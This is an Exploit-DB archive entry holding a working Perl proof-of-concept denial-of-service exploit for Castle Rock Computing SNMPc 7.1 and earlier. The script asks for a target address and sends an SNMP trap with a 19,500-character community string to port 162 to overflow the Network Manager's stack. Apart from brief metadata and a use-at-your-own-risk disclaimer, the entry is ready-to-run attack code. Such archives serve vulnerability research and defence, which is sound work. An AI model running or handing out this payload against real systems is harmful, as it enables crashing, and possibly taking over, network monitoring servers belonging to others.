Castle Rock Computing SNMPc < 7.1.1 Community Remote BoF PoC

2008-11-12T00:00:00
ID EDB-ID:7099
Type exploitdb
Reporter Praveen Darshanam
Modified 2008-11-12T00:00:00

Description

Castle Rock Computing SNMPc < 7.1.1 (Community) Remote BOF PoC. Dos exploit for windows platform

                                        
                                            #!usr/bin/perl -w

################################################################################################################
#    Stack-based buffer overflow in the Network Manager in Castle Rock Computing SNMPc 7.1 and
#    earlier allows remote attackers to cause a denial of service (crash) or execute arbitrary code
#    via a long community string in an SNMP TRAP packet.
#
#    Refer:
#    http://web.nvd.nist.gov/view/vuln/detail?execution=e3s1
#    http://www.securityfocus.com/bid/28990/discuss
#
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"
#    (say #!C:/Program Files/Perl/bin/perl -w)
#
#     This was strictly written for educational purpose. Use it at your own risk.
#    Author will not bare any responsibility for any damages watsoever.
#
#        Author:    Praveen Darshanam
#        Email:    praveen[underscore]recker[at]sify.com
#        Date:    11th November, 2008
#
#    NOTE:    Thanks to all my colleagues at iPolicy
#            For reliable security solutions please visit http://www.ipolicynetworks.com/
#
##################################################################################################################

use Net::SNMP;

printf("Enter the IP Adress of Vulnerable SNMP Manager ");
$host_vulnerable = &lt;STDIN&gt;;
$port = 162;
$community = "D" x 19500;

($session, $error) = Net::SNMP-&gt;session(
                                               -hostname      =&gt; $host_vulnerable,
                                               -port          =&gt; $port,
                                               -community     =&gt; $community,   # v1/v2c
                                             -maxmsgsize    =&gt; 65535,
                                        );
 if (!defined($session))
 {
      printf("ERROR: %s.\n", $error);
      exit 1;
 }

$ipaddress = "172.16.16.4";
#Throwing an error without Agent so randomly assigned value to $ipaddress

$result = $session-&gt;trap(
                              -agentaddr       =&gt; $ipaddress,
                           );

if (!defined($result))
{
     printf("ERROR: %s.\n", $session-&gt;error);
     $session-&gt;close;
     exit 1;
}

$session-&gt;close;

# milw0rm.com [2008-11-12]